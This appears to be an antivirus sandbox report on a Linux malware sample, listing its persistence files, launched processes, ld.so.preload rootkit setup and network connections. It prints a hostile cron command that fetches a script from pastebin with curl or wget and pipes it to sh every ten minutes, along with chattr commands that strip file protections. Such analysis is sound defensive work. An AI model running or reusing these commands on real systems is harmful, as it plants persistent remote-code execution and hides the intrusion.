Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/watchdogs
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
Malicious functions:
Launches processes:
- /bin/bash -c chattr -i /etc/ld.so.preload
- chattr -i /etc/ld.so.preload
- /bin/bash -c cp /tmp/watchdogs /usr/sbin/watchdogs
- cp /tmp/watchdogs /usr/sbin/watchdogs
- /bin/bash -c mkdir -p /etc/init.d
- mkdir -p /etc/init.d
- /bin/bash -c chkconfig --add watchdogs
- /bin/bash -c chattr -i /tmp/watchdogs
- chattr -i /tmp/watchdogs
- /bin/bash -c chattr -i /tmp/ksoftirqds
- chattr -i /tmp/ksoftirqds
- /bin/bash -c chattr -i /tmp/config.json
- chattr -i /tmp/config.json
- /bin/bash -c chattr -i /tmp/.systemd-private-22Cc8eddcc2e4730bb9fd6cf2f6e11a2-ntpd.service-6GtzMk
- chattr -i /tmp/.systemd-private-22Cc8eddcc2e4730bb9fd6cf2f6e11a2-ntpd.service-6GtzMk
- /bin/bash -c chattr -i /tmp/.systemd-private-287c367xd1f24bf5bc27dsb537c15dab-ntpd.service-x8KcNS
- chattr -i /tmp/.systemd-private-287c367xd1f24bf5bc27dsb537c15dab-ntpd.service-x8KcNS
- /bin/bash -c chattr -i /tmp/.systemd-private-802aa11cad53474fbe3aee5b763fc6x8-ntpd.service-cpvyP6
- chattr -i /tmp/.systemd-private-802aa11cad53474fbe3aee5b763fc6x8-ntpd.service-cpvyP6
- /bin/bash -c mkdir -p /usr/local/lib
- mkdir -p /usr/local/lib
- /bin/bash -c chattr -i /usr/local/lib/libioset.c
- chattr -i /usr/local/lib/libioset.c
- /bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh\" | crontab -
- crontab -
- /bin/bash -c mkdir -p /var/spool/cron/crontabs
- mkdir -p /var/spool/cron/crontabs
- /bin/bash -c mkdir -p /tmp && chmod 1777 /tmp
- mkdir -p /tmp
- chmod 1777 /tmp
- /bin/bash -c nohup /tmp/ksoftirqds >/dev/null 2>&1 &
- nohup /tmp/ksoftirqds
- /tmp/ksoftirqds
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.bINcUz
- /tmp
Creates or modifies files:
- /tmp/.lsdpid
- /usr/local/lib/libioset.so
- /etc/ld.so.preload
- /var/spool/cron/crontabs/tmp.bINcUz
- /var/spool/cron/root
- /tmp/ksoftirqds
Deletes files:
- /etc/ld.so.preload
- /tmp/watchdogs
- /tmp/ksoftirqds
- /tmp/config.json
- /tmp/.systemd-private-22Cc8eddcc2e4730bb9fd6cf2f6e11a2-ntpd.service-6GtzMk
- /tmp/.systemd-private-287c367xd1f24bf5bc27dsb537c15dab-ntpd.service-x8KcNS
- /tmp/.systemd-private-802aa11cad53474fbe3aee5b763fc6x8-ntpd.service-cpvyP6
- /usr/local/lib/libioset.c
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 17#.#8.123.25:9
- [2########::f03c:91ff:fe70:2b9d]:9
- [2########::f03c:91ff:fe70:2b9d]:80
- 19#.##8.212.0:22
- <LOCAL_GATE>:22
HTTP GET requests:
- id##t.me/
DNS ASK:
- id##t.me
Other:
Collects RAM information
